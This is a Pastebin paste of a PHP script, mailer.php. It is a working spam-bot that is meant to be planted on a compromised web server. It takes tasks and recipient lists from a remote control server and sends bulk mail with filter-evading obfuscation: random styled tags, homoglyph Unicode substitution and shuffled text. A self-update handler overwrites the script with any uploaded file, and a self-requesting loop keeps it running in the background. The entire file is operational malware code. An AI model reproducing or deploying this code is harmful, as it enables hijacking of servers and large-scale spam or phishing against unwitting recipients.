PalmaSolutions

mailer.php

Apr 21st, 2018
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 27.71 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. ignore_user_abort(true);
  4. set_time_limit(0);
  5. function str_1replace($needle, $replace, $haystack)
  6. {
  7.     $pos = strpos($haystack, $needle);
  8.     if ($pos === false) {
  9.         return $haystack;
  10.     }
  11.     return substr_replace($haystack, $replace, $pos, strlen($needle));
  12. }
  13. function unichr($dec)
  14. {
  15.     if ($dec < 128) {
  16.         $utf = chr($dec);
  17.     } else {
  18.         if ($dec < 2048) {
  19.             $utf = chr(192 + ($dec - $dec % 64) / 64);
  20.             $utf .= chr(128 + $dec % 64);
  21.         } else {
  22.             $utf = chr(224 + ($dec - $dec % 4096) / 4096);
  23.             $utf .= chr(128 + ($dec % 4096 - $dec % 64) / 64);
  24.             $utf .= chr(128 + $dec % 64);
  25.         }
  26.     }
  27.     return $utf;
  28. }
  29. function make_seed()
  30. {
  31.     list($usec, $sec) = explode(' ', microtime());
  32.     return (double) $sec + (double) $usec * 100000;
  33. }
  34. function shuffle_one($array)
  35. {
  36.     if (count($array) <= 0) {
  37.         return NULL;
  38.     } else {
  39.         return $array[rand(0, count($array) - 1)];
  40.     }
  41. }
  42. function post_pack_data($post)
  43. {
  44.     $out = array();
  45.     while (list($key, $val) = each($post)) {
  46.         array_push($out, $key . '=' . urlencode($val));
  47.     }
  48.     return join('&', $out);
  49. }
  50. function array_unset(&$array, $key)
  51. {
  52.     $val = $array[$key];
  53.     unset($array[$key]);
  54.     return $val;
  55. };
  56. $config = array('version' => '0.1.27', 'key' => '31337', 'proto_num' => 31337, 'max_execute_time' => 30, 'log_write_to_file' => 0, 'log_file_name' => 'log.txt', 'critical_log' => 'last_error', 'log_debug' => 0, 'report_timeout' => 180, 'max_mail_fail' => 3, 'hash' => 'cWCmqxkJGIkM', 'is_test' => 0);;
  57. function log_write($message, $last_error_code = '')
  58. {
  59.     global $config;
  60.     $_ENV['last_error'] = $message;
  61.     $_ENV['last_error_code'] = $last_error_code;
  62.     if ($config['log_write_to_file'] or $config['log_debug']) {
  63.         $message = date('[Y.m.d H:i:s] ') . $message . '
  64. ';
  65.         $config['log_write_to_file'] and error_log($message, 3, $config['log_file_name']);
  66.         $config['log_debug'] and print $message;
  67.         return true;
  68.     }
  69. }
  70. function log_init()
  71. {
  72.     global $config;
  73.     if ($config['log_write_to_file'] and function_exists('date_default_timezone_set')) {
  74.         date_default_timezone_set('UTC');
  75.     }
  76. }
  77. function clean_log()
  78. {
  79.     global $config;
  80.     unlink($config['log_file_name']);
  81.     unlink($config['critical_log']);
  82. }
  83. function critical_error($message, $last_error_code = '')
  84. {
  85.     global $config;
  86.     file_put_contents($config['critical_log'], $message);
  87.     log_write($message, $last_error_code);
  88. }
  89. function get_critical_error()
  90. {
  91.     global $config;
  92.     if (!file_exists($config['critical_log'])) {
  93.         return FALSE;
  94.     }
  95.     return file_get_contents($config['critical_log']);
  96. }
  97. function error_message($msg, $type = 'error')
  98. {
  99.     global $config;
  100.     return join('::', array($config['hash'], $type, $msg));
  101. };
  102. function loop_get_page($host, $path, $post = null, $read_ans = 0)
  103. {
  104.     log_write('loop: starting send request to host - ' . $host . ' path - ' . $path . ' data len - ' . strlen($post));
  105.     $headers = array((isset($post) ? 'POST ' : 'GET ') . $path . ' HTTP/1.1', 'Host: ' . $host, 'Accept-Charset: utf-8', 'User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1', 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: us', 'Accept-Encoding: gzip', 'Connection: keep-alive');
  106.     isset($post) and $headers = array_merge($headers, (array) ('Content-length: ' . strlen($post)), (array) 'Content-Type: application/x-www-form-urlencoded');
  107.     $data = join('
  108. ', array_merge($headers, (array) '', (array) ''));
  109.     isset($post) and $data .= $post;
  110.     $socket = fsockopen($host, 80, $errno, $errstr);
  111.     if (!$socket) {
  112.         log_write('loop: failed fsockopen: errstr - ' . $errstr);
  113.         return FALSE;
  114.     }
  115.     if (($result = fwrite_stream($socket, $data)) == FALSE) {
  116.         log_write('loop: failed fwrite_stream');
  117.         return FALSE;
  118.     }
  119.     register_shutdown_function('read_ans_code', $socket);
  120.     return $result;
  121. }
  122. function loop($data = null, $from_init = 0)
  123. {
  124.     $post = array('loop' => 1);
  125.     if (isset($data)) {
  126.         $post['data'] = $data;
  127.     }
  128.     return loop_get_page($_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF'], post_pack_data($post), $from_init);
  129. }
  130. function fwrite_stream($fp, $string)
  131. {
  132.     for ($written = 0; $written < strlen($string); $written += $fwrite) {
  133.         $fwrite = fwrite($fp, substr($string, $written));
  134.         if ($fwrite === false) {
  135.             return $written;
  136.         }
  137.     }
  138.     return $written;
  139. }
  140. function read_ans_code($socket)
  141. {
  142.     global $config;
  143.     stream_set_timeout($socket, $config['max_execute_time']);
  144.     $buf = '';
  145.     while (strpos($buf, '
  146. ') === FALSE and ($tmp = fgets($socket, 50)) !== false) {
  147.         $buf .= $tmp;
  148.     }
  149.     if (preg_match('/HTTP\\/.+? (.+?) (.+?)$/', $buf, $match)) {
  150.         return $match[1];
  151.     } else {
  152.         return FALSE;
  153.     }
  154. };
  155. ;
  156. ;
  157. ;
  158. ;
  159. set_magic_quotes_runtime(false);
  160. $Tags = array(array('span', 'color:$fg_color', 'font-size:$font_size'), array('big', 'color:$fg_color', 'font-size:$font_size'), array('small', 'color:$fg_color', 'font-size:$font_size'), array('i', 'color:$fg_color', 'font-size:$font_size', 'font-style:normal'), array('em', 'color:$fg_color', 'font-size:$font_size', 'font-style:normal'), array('b', 'color:$fg_color', 'font-size:$font_size', 'font-weight:normal'), array('strong', 'color:$fg_color', 'font-size:$font_size', 'font-weight:normal'), array('div', 'color:$fg_color', 'font-size:$font_size', 'display:inline-block'), array('p', 'color:$fg_color', 'font-size:$font_size', 'display:inline-block', 'margin:0 0'));
  161. function mk_tmpl($template, $fields)
  162. {
  163.     global $Tags;
  164.     $gen_fields = array('from_email', 'reply_to', 'from', 'body', 'subject');
  165.     $template['body'] = preg_replace('/\\[CACHE_([0-9])]/', '', $template['body']);
  166.     $regenerate = 1;
  167.     if (preg_match('/\\[REGENERATE_([0-9]+)]/', $template['body'], $matches)) {
  168.         $regenerate = $matches[1];
  169.         $template['body'] = preg_replace('/\\[REGENERATE_([0-9]+)]/', '', $template['body']);
  170.     }
  171.     $macroses = array();
  172.     $macrCache = array();
  173.     if (preg_match_all('/[
  174. ]*\\@([a-z][a-z0-9_]*)\\s*=\\s*\\[(.+?)]\\s*;[
  175. ]*/si', $template['body'], $matches)) {
  176.         foreach ($matches[0] as $c => $mcr) {
  177.             $el = $matches[1][$c];
  178.             $macroses[$el] = explode(':', $matches[2][$c]);
  179.             $macrCache[$el] = $macroses[$el][array_rand($macroses[$el])];
  180.         }
  181.         $template['body'] = preg_replace('/[
  182. ]*\\@([a-z][a-z0-9_]*)\\s*=\\s*\\[(.+?)]\\s*;[
  183. ]*/si', '', $template['body']);
  184.     }
  185.     $self_domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'mail.com';
  186.     $self_domain = preg_replace('/^www\\./', '', $self_domain);
  187.     for ($regen_i = 0; $regen_i <= $regenerate; $regen_i++) {
  188.         foreach ($gen_fields as $c => $tmpl) {
  189.             $field = $template[$tmpl];
  190.             if ($tmpl === 'from' and !isset($field)) {
  191.                 $field = isset($template['reply_to']) ? find_name($template['reply_to']) : find_name($template['from_email']);
  192.                 $template[$tmpl] = trim($field);
  193.             }
  194.             if (!$field or !preg_match('/\\[.+?]|\\@|$/s', $field)) {
  195.                 continue;
  196.             }
  197.             $field = str_replace('[ToEmail]', $fields['to_email'], $field);
  198.             $field = str_replace('[URL]', $fields['url'], $field);
  199.             $field = str_replace('[Domain]', $self_domain, $field);
  200.             if (preg_match('/\\[From(?:Full|Last|First)Name]/', $field, $matches)) {
  201.                 $tmp = explode(' ', $template['from'], 2);
  202.                 count($tmp) === 2 or $tmp[1] = NULL;
  203.                 list($first, $last) = $tmp;
  204.                 $full = join(' ', array($first, $last));
  205.                 isset($first) or $first = '';
  206.                 isset($last) or $last = '';
  207.                 $field = str_replace('[FromFirstName]', trim($first), $field);
  208.                 $field = str_replace('[FromLastName]', trim($last), $field);
  209.                 $field = str_replace('[FromFullName]', trim($full), $field);
  210.             }
  211.             foreach ($macroses as $c => $m) {
  212.                 $c = quotemeta($c);
  213.                 $field = preg_replace("/\\\${$c}(?=\\b)/", $macrCache[$c], $field);
  214.                 while (preg_match("/\\@{$c}(?=\\b)/", $field)) {
  215.                     $field = preg_replace("/\\@{$c}(?=\\b)/", $m[array_rand($m)], $field, 1);
  216.                 }
  217.             }
  218.             $field = preg_replace_callback('/\\[For\\.\\.([0-9]+)-([0-9]+)](.*?)\\[EndFor]/s', create_function('$matches', 'return str_repeat($matches[0x03], mt_rand($matches[0x01], $matches[0x02]));'), $field);
  219.             while (preg_match_all('/\\[[^\\[\\]]+]/s', $field, $matches)) {
  220.                 foreach ($matches[0] as $c => $mcr) {
  221.                     $replace = '';
  222.                     if (preg_match('/\\[Tag_(.+?)]/', $mcr, $m)) {
  223.                         $tag = $Tags[array_rand($Tags)];
  224.                         $el = array_shift($tag);
  225.                         shuffle($tag);
  226.                         $replace = sprintf('<%s style="%s">%s</%s>', $el, implode(';', $tag), $m[1], $el);
  227.                     } elseif (preg_match('/\\[Rndf_([0-9]+)_([0-9]+)]/', $mcr, $m)) {
  228.                         $replace = mt_rand($m[1], $m[2]);
  229.                     } elseif (preg_match('/\\[Rndf_(.+?)]/s', $mcr, $m)) {
  230.                         $tmp = explode('|', $m[1]);
  231.                         $replace = $tmp[array_rand($tmp)];
  232.                     } elseif (preg_match('/\\[Shuffle_(.*?)_(.+?)]/s', $mcr, $m)) {
  233.                         $tmp = explode('|', $m[2]);
  234.                         shuffle($tmp);
  235.                         $replace = implode($m[1], $tmp);
  236.                     } elseif (preg_match('/\\[ShuffleX_([0-9]+)_(.*?)_(.+?)]/s', $mcr, $m)) {
  237.                         $tmp = explode('|', $m[3]);
  238.                         shuffle($tmp);
  239.                         array_splice($tmp, $m[1]);
  240.                         $replace = implode($m[2], $tmp);
  241.                     } elseif (preg_match('/\\[Trim_(.+?)]/s', $mcr, $m)) {
  242.                         $replace = preg_replace(array('/ +/s', '/ +([,?!.:;\\-%])/s'), array(' ', '$1'), $m[1]);
  243.                     } elseif (preg_match('/\\[Utf8_([0-9]+)_(.+?)]/s', $mcr, $m)) {
  244.                         $prob = $m[1];
  245.                         $tmp = str_split($m[2]);
  246.                         foreach ($tmp as $i => $s) {
  247.                             $ord = ord($s);
  248.                             if ($ord > 32 and $ord < 128 and $prob >= mt_rand(0, 100)) {
  249.                                 $tmp[$i] = unichr($ord + 65248);
  250.                             }
  251.                         }
  252.                         $replace = implode('', $tmp);
  253.                     } elseif (preg_match('/\\[UtfX_(.+?)]/s', $mcr, $m)) {
  254.                         $tmp = str_split($m[1]);
  255.                         foreach ($tmp as $i => $s) {
  256.                             $ord = ord($s);
  257.                             if ($ord > 65 and $ord < 128) {
  258.                                 $tmp[$i] = unichr(mt_rand(192, 382));
  259.                             }
  260.                         }
  261.                         $replace = implode('', $tmp);
  262.                     } elseif (preg_match('/\\[UtfY_(.+?)]/s', $mcr, $m)) {
  263.                         $tmp = str_split($m[1]);
  264.                         foreach ($tmp as $i => $s) {
  265.                             $ord = ord($s);
  266.                             if ($ord > 65 and $ord < 128) {
  267.                                 $tmp[$i] = unichr(mt_rand(913408, 917488));
  268.                             }
  269.                         }
  270.                         $replace = implode('', $tmp);
  271.                     } elseif (preg_match('/\\[Morf_(.+?)]/s', $mcr, $m)) {
  272.                         $tmp = str_split($m[1]);
  273.                         $len = strlen($m[1]);
  274.                         $range = range(0, $len - 1);
  275.                         shuffle($range);
  276.                         array_splice($range, max(1, intval($len / 4)));
  277.                         foreach ($range as $n) {
  278.                             $tmp[$n] .= '_';
  279.                         }
  280.                         $replace = implode('', $tmp);
  281.                         $replace = preg_replace('/[ _   ]+/s', ' ', $replace);
  282.                     } else {
  283.                         $replace = '____' . str_replace('[', '{', str_replace(']', '}', $mcr)) . '____';
  284.                     }
  285.                     $field = str_1replace($mcr, $replace, $field);
  286.                 }
  287.             }
  288.             $field = preg_replace('/____{(.+?)}____/', '[$1]', $field);
  289.             $field = preg_replace('/<!--|-->/', '', $field);
  290.             $field = preg_replace_callback('/\\[([LU])C]\\s*(\\w)/s', create_function('$m', 'if ( $m[0x01] == "L") {
  291.                     return lcfirst($m[0x02]);
  292.                 } elseif ( $m[0x01] == "U" ) {
  293.                     return ucfirst($m[0x02]);
  294.                 }'), $field);
  295.             $template[$tmpl] = trim($field);
  296.         }
  297.     }
  298.     $template['ttype'] = preg_match('/<(?:a|abbr|acronym|address|applet|area|b|base|basefont|bdo|big|blockquote|body|br|button|caption|center|cite|code|col|colgroup|dd|del|dfn|dir|div|dl|dt|em|fieldset|font|form|frame|frameset|h1|h2|h3|h4|h5|h6|head|hr|html|i|iframe|img|input|ins|isindex|kbd|label|legend|li|link|map|menu|meta|noframes|noscript|object|ol|optgroup|option|p|param|pre|q|s|samp|script|select|small|span|strike|strong|style|sub|sup|table|tbody|td|textarea|tfoot|th|thead|title|tr|tt|u|ul|var|xmp)[ >\\/]/i', $template['body']) ? 1 : 0;
  299.     return $template;
  300. }
  301. function create_message($task, $to)
  302. {
  303.     $reply = shuffle_one($task['replyTo']);
  304.     $from_email = (isset($task['fromEmail']) and count($task['fromEmail']) >= 1) ? shuffle_one($task['fromEmail']) : 'noreply@[Domain]';
  305.     $from = shuffle_one($task['from']);
  306.     $template = array('body' => shuffle_one($task['templates']), 'subject' => shuffle_one($task['subjects']), 'from' => $from, 'from_email' => $from_email, 'reply_to' => $reply);
  307.     $fields = array('url' => shuffle_one($task['redirects']), 'to_email' => $to);
  308.     return mk_tmpl($template, $fields);
  309. }
  310. function html_to_text($html)
  311. {
  312.     $html = preg_replace('/<br\\\\?>/', '
  313. ', $html);
  314.     $html = preg_replace('/(<a\\s+href\\s*=\\s*[\'"](.+?)[\'"]>.+?<\\/a>)/', ' $2 ', $html);
  315.     $html = preg_replace('/<.*?>/', '$1', $html);
  316.     return $html;
  317. }
  318. function find_name($email)
  319. {
  320.     $email = strtolower($email);
  321.     if (preg_match('/^([a-z][a-z0-9]+)[\\._]([a-z][a-z0-9]+)@/', $email, $match)) {
  322.         return implode(' ', array(ucfirst($match[1]), ucfirst($match[2])));
  323.     } elseif (preg_match('/^(.+?)@/', $email, $match)) {
  324.         return ucfirst($match[1]);
  325.     } else {
  326.         return ' ';
  327.     }
  328. };
  329. function mailer_send_mail($recipients, $message)
  330. {
  331.     global $config;
  332.     if (!isset($recipients) or count($recipients) < 1 or !isset($message['subject']) or !isset($message['body']) or !isset($message['ttype']) or !isset($message['cc_num']) or !isset($message['from_email'])) {
  333.         log_write('some parameters is missing ' . print_r($message, true));
  334.         return FALSE;
  335.     }
  336.     $to = array_shift($recipients);
  337.     $cc = array_splice($recipients, 0, $message['cc_num']);
  338.     $bcc = $recipients;
  339.     $subject = '=?UTF-8?B?' . base64_encode($message['subject']) . '?=';
  340.     $headers = array();
  341.     $headers['Return-Path'] = $message['from_email'];
  342.     $headers['MIME-Version'] = '1.0';
  343.     if (isset($message['from'])) {
  344.         $headers['From'] = $message['from'] . ' <' . $message['from_email'] . '>';
  345.     } else {
  346.         $headers['From'] = $message['from_email'];
  347.     }
  348.     if (isset($message['reply_to'])) {
  349.         $headers['Reply-To'] = isset($message['from']) ? $message['from'] . ' <' . $message['reply_to'] . '>' : $message['reply_to'];
  350.     }
  351.     $body = $message['body'];
  352.     if ($message['ttype'] == 1) {
  353.         $boundary = md5($to);
  354.         $headers['Content-Type'] = 'multipart/alternative; boundary=' . $boundary;
  355.         $plaintext = join('
  356. ', array('--' . $boundary, 'Content-Type: text/plain; charset=UTF-8', 'Content-Transfer-Encoding: 8bit', '', html_to_text($body), ''));
  357.         $htmltext = join('
  358. ', array('--' . $boundary, 'Content-Type: text/html; charset=UTF-8', 'Content-Transfer-Encoding: 8bit', '', $body, '', '--' . $boundary . '--'));
  359.         $body = join('
  360. ', array($plaintext, $htmltext, ''));
  361.     } else {
  362.         $headers['Content-Transfer-Encoding'] = '8bit';
  363.         $headers['Content-Type'] = 'text/plain; charset=UTF-8;';
  364.     }
  365.     $additional_headers = '';
  366.     while (list($key, $val) = each($headers)) {
  367.         $additional_headers .= $key . ': ' . $val . '
  368. ';
  369.     }
  370.     log_write('staring send message to ' . $to);
  371.     if (isset($config['is_test']) and $config['is_test'] === 1) {
  372.         return TRUE;
  373.     }
  374.     if (mail($to, $subject, $body, $additional_headers) == false) {
  375.         log_write('call function \'mail\' failed', 'CallMailFunc');
  376.         return false;
  377.     }
  378.     return 1;
  379. }
  380. function mailer_spam(&$base, $task, $params)
  381. {
  382.     list($cc_num, $out_base) = mailer_shift_base($base, $params);
  383.     $message = create_message($task, $out_base[0]);
  384.     $message['cc_num'] = $cc_num;
  385.     return mailer_send_mail($out_base, $message);
  386. }
  387. function mailer_shift_base(&$base, $params)
  388. {
  389.     $cc_num = rand($params['cc'][0], $params['cc'][1]);
  390.     $bcc_num = rand($params['bcc'][0], $params['bcc'][1]);
  391.     $out_base = array_splice($base, 0, 1 + $cc_num + $bcc_num);
  392.     return array($cc_num, $out_base);
  393. }
  394. function mailer_spam_cycle(&$base, $templates, $params, &$sent_count)
  395. {
  396.     global $config;
  397.     $start = time();
  398.     if ($base == NULL or is_array($base) and count($base) <= 0) {
  399.         log_write('mailer_spam_cycle: base is empty');
  400.         return false;
  401.     }
  402.     do {
  403.         $count_before = count($base);
  404.         if (mailer_spam($base, $templates, $params) == false) {
  405.             $sleep = $config['max_execute_time'] - (time() - $start);
  406.             $sleep > 0 and sleep($sleep);
  407.             return false;
  408.         } else {
  409.             $sent_count += $count_before - count($base);
  410.         }
  411.         $sleep = rand($params['sendDelay'][0], $params['sendDelay'][1]);
  412.         if ($sleep > 0) {
  413.             usleep($sleep * 1000);
  414.         }
  415.     } while ($base and time() - $start + ceil($sleep / 1000) < $config['max_execute_time']);
  416.     return true;
  417. };
  418. ;
  419. ;
  420. ;
  421. function server_get_data($host, $port, $json_data)
  422. {
  423.     global $config;
  424.     if (!isset($json_data) or !is_string($json_data)) {
  425.         return false;
  426.     }
  427.     $socket = fsockopen($host, $port);
  428.     if (!$socket) {
  429.         critical_error('server_get_data: failed fsockopen');
  430.         return false;
  431.     }
  432.     $data = pack('N2', $config['proto_num'], strlen($json_data)) . $json_data;
  433.     fwrite($socket, $data);
  434.     if (($data = fread($socket, 8)) == false) {
  435.         critical_error('Failed read prtocol num and data length');
  436.         return false;
  437.     }
  438.     $data = unpack('N2', $data);
  439.     $num = $data[1];
  440.     $len = $data[2];
  441.     if ($num != $config['proto_num'] or $len <= 0) {
  442.         critical_error('Wrong protocol number or length');
  443.         return false;
  444.     }
  445.     $data = '';
  446.     while (($tmp = fread($socket, $len)) != false) {
  447.         $data .= $tmp;
  448.         if (($len -= strlen($tmp)) <= 0) {
  449.             break;
  450.         }
  451.     }
  452.     if ($len != 0) {
  453.         critical_error('Failed read data');
  454.         return false;
  455.     }
  456.     return $data;
  457. }
  458. function unpack_data($data, $session = array(), $base = null, $params = null, $task = null)
  459. {
  460.     return unpack_data_all($data, TRUE, $session, $base, $params, $task);
  461. }
  462. function unpack_data_internal($data)
  463. {
  464.     if (get_magic_quotes_gpc()) {
  465.         $data = stripcslashes($data);
  466.     }
  467.     return unpack_data_all($data, FALSE);
  468. }
  469. function unpack_data_all($data, $external, $session = array(), $base = null, $params = null, $task = null)
  470. {
  471.     $data_bk = $data;
  472.     if (($data = json_decode($data, true)) == FALSE) {
  473.         log_write('Failed decode data: ' . $data_bk);
  474.         return false;
  475.     }
  476.     if ($external) {
  477.         if (!array_key_exists('status', $data)) {
  478.             log_write('Failed server request: status is not set');
  479.             return false;
  480.         } elseif ($data['status'] == NULL) {
  481.             log_write('Failed server request: ' . isset($data['err']) ? $data['err'] : '');
  482.             return false;
  483.         } elseif ($data['status'] == 2) {
  484.             log_write('task stopped');
  485.             return false;
  486.         } elseif ($data['status'] == 1) {
  487.            
  488.         } else {
  489.             log_write('Failed server request: wrong status');
  490.             return false;
  491.         }
  492.     }
  493.     $session['version'] = $data['version'];
  494.     $session['taskID'] = $data['taskID'];
  495.     if (isset($data['key'])) {
  496.         $session['key'] = $data['key'];
  497.     }
  498.     return array($session, isset($data['base']) ? $data['base'] : $base, isset($data['params']) ? $data['params'] : $params, isset($data['task']) ? $data['task'] : $task, isset($data['data_server']) ? $data['data_server'] : NULL, isset($data['stat']) ? $data['stat'] : NULL);
  499. }
  500. function pack_data($keys, $values, $old_data = null)
  501. {
  502.     $new_data = array();
  503.     if (isset($old_data)) {
  504.         $data = json_decode($old_data, true);
  505.     } else {
  506.         $data = array();
  507.     }
  508.     foreach ($keys as $key) {
  509.         $val = array_shift($values);
  510.         if ($key == 'session') {
  511.             global $config;
  512.             $data = array_merge($data, array('key' => $val['key'], 'taskID' => $val['taskID'], 'version' => isset($val['version']) ? $val['version'] : '-1'));
  513.         } else {
  514.             $data[$key] = $val;
  515.         }
  516.     }
  517.     return json_encode($data);
  518. }
  519. function report_error_to_server_and_die($host, $port, $session, $sent_count = 0)
  520. {
  521.     report_error_to_server($host, $port, $session);
  522.     die;
  523. }
  524. function report_error_to_server($host, $port, $session, $sent_count = 0)
  525. {
  526.     $report = array('status' => NULL, 'errStr' => $_ENV['last_error'], 'errCode' => isset($_ENV['last_error_code']) ? $_ENV['last_error_code'] : '', 'sent' => $sent_count);
  527.     $request = pack_data(array('session', 'res'), array($session, $report));
  528.     return server_get_data($host, $port, $request);
  529. };
  530. ;
  531. ;
  532. log_init();
  533. srand(make_seed());
  534. if (isset($_POST['init'])) {
  535.     global $config;
  536.     $last_error = get_critical_error();
  537.     clean_log();
  538.     if ($last_error != FALSE) {
  539.         echo error_message("last init - {$last_error}");
  540.         die;
  541.     }
  542.     if ($_POST['version'] != $config['version']) {
  543.         log_write('bad version - ' . $config['version']);
  544.         echo error_message('bad version - ' . $config['version'], 'OK');
  545.         die;
  546.     }
  547.     foreach (array('array_key_exists', 'array_merge', 'array_push', 'array_rand', 'array_shift', 'array_splice', 'chr', 'count', 'create_function', 'create_message', 'date', 'define', 'defined', 'dirname', 'each', 'error_log', 'error_reporting', 'explode', 'file_get_contents', 'file_put_contents', 'fread', 'fsockopen', 'fwrite', 'implode', 'intval', 'is_array', 'is_string', 'join', 'json_decode', 'json_encode', 'log_init', 'log_write', 'loop', 'loop_get_page', 'mail', 'mailer_send_mail', 'mailer_shift_base', 'mailer_spam', 'mailer_spam_cycle', 'make_seed', 'max', 'microtime', 'mk_tmpl', 'mt_rand', 'ord', 'pack', 'pack_data', 'post_pack_data', 'preg_match', 'preg_match_all', 'preg_replace', 'preg_replace_callback', 'print_r', 'quotemeta', 'rand', 'range', 'report_error_to_server', 'report_error_to_server_and_die', 'server_get_data', 'set_magic_quotes_runtime', 'shuffle', 'shuffle_one', 'sleep', 'sprintf', 'srand', 'str_1replace', 'str_replace', 'str_split', 'strlen', 'strpos', 'substr_replace', 'time', 'trim', 'unichr', 'unlink', 'unpack', 'unpack_data', 'unpack_data_all', 'unpack_data_internal') as $key) {
  548.         if (function_exists($key)) {
  549.             continue;
  550.         }
  551.         echo error_message("function {$key} not exists", 'fatal');
  552.         die;
  553.     }
  554.     foreach (array('taskID', 'key', 'host', 'port', 'version') as $key) {
  555.         if (!isset($_POST[$key])) {
  556.             log_write($key . ' is empty');
  557.             echo error_message("{$key} is empty");
  558.             die;
  559.         }
  560.     }
  561.     $session = array('taskID' => intval($_POST['taskID']), 'key' => $_POST['key']);
  562.     $data_server = array('host' => $_POST['host'], 'port' => $_POST['port']);
  563.     $data = pack_data(array('session', 'data_server'), array($session, $data_server));
  564.     if (loop($data, 1) == FALSE) {
  565.         echo error_message('init failed - ' . $_ENV['last_error']);
  566.     } else {
  567.         echo error_message('init done', 'OK');
  568.         log_write('init done: version ' . $config['version']);
  569.     }
  570. } elseif (isset($_POST['update'])) {
  571.     log_write('starting update');
  572.     if (isset($_FILES['file']) and $_FILES['file']['error'] == 0) {
  573.         if (file_put_contents(__FILE__, file_get_contents($_FILES['file']['tmp_name'])) == FALSE) {
  574.             log_write('update error: filed write to file');
  575.             echo error_message('update: failed write to file');
  576.         } else {
  577.             log_write('update done');
  578.             echo error_message('update done', 'OK');
  579.         }
  580.     } else {
  581.         log_write('update error: \'file is empty\'');
  582.         echo error_message('update error: file is empty');
  583.     }
  584. } elseif (isset($_POST['loop'])) {
  585.     ob_end_flush();
  586.     flush();
  587.     for ($i = 0; $i < 10; $i++) {
  588.         print str_repeat('a', 1000);
  589.     }
  590.     ($data = unpack_data_internal($_POST['data'])) != FALSE or die;
  591.     list($session, $base, $params, $task, $data_server, $stat) = $data;
  592.     if ($session == NULL or $data_server == NULL) {
  593.         log_write('index: session or data_server is empty');
  594.         critical_error('index: session or data_server is empty');
  595.         die;
  596.     }
  597.     if ($stat == NULL) {
  598.         $stat = array();
  599.     }
  600.     $request = NULL;
  601.     $todo = array();
  602.     if ($base == NULL or is_array($base) and count($base) <= 0) {
  603.         array_push($todo, 'base');
  604.     }
  605.     if ($task == NULL or $params == NULL) {
  606.         array_push($todo, 'task');
  607.     }
  608.     if (count($todo) > 0) {
  609.         $request = pack_data(array('todo'), array($todo), $request);
  610.     }
  611.     if ($request != NULL or time() - $stat['last_report'] >= $config['report_timeout']) {
  612.         $request = pack_data(array('session'), array($session), $request);
  613.         if (isset($stat['send_count']) and $stat['send_count'] > 0) {
  614.             $res = array('status' => 1, 'errStr' => 'OK', 'sent' => $stat['send_count']);
  615.             $stat['last_report'] = time();
  616.             $stat['send_count'] = 0;
  617.             $request = pack_data(array('res'), array($res), $request);
  618.         }
  619.         log_write('loop: data request - ' . print_r($request, true));
  620.         ($data = server_get_data($data_server['host'], $data_server['port'], $request)) != FALSE or die;
  621.         ($data = unpack_data($data, $session, $base, $params, $task)) != FALSE or report_error_to_server_and_die($data_server['host'], $data_server['port'], $session, $stat['send_count']);
  622.         list($session, $base, $params, $task) = $data;
  623.     }
  624.     $sent_count = 0;
  625.     if (mailer_spam_cycle($base, $task, $params, $sent_count) === FALSE) {
  626.         if (++$stat['mail_failed'] >= $config['max_mail_fail']) {
  627.             report_error_to_server_and_die($data_server['host'], $data_server['port'], $session, $stat['send_count']);
  628.         }
  629.     } else {
  630.         $stat['mail_failed'] = 0;
  631.     }
  632.     $stat['send_count'] += $sent_count;
  633.     $data = pack_data(array('session', 'base', 'params', 'task', 'data_server', 'stat'), array($session, $base, $params, $task, $data_server, $stat));
  634.     log_write('loop: done count - ' . $stat['send_count']);
  635.     if (loop($data, 1)) {
  636.         log_write('restart loop - ok');
  637.     }
  638. } else {
  639.     global $config;
  640.     echo error_message('main page ' . $config['version'], 'OK');
  641. }
Add Comment
Please, Sign In to add comment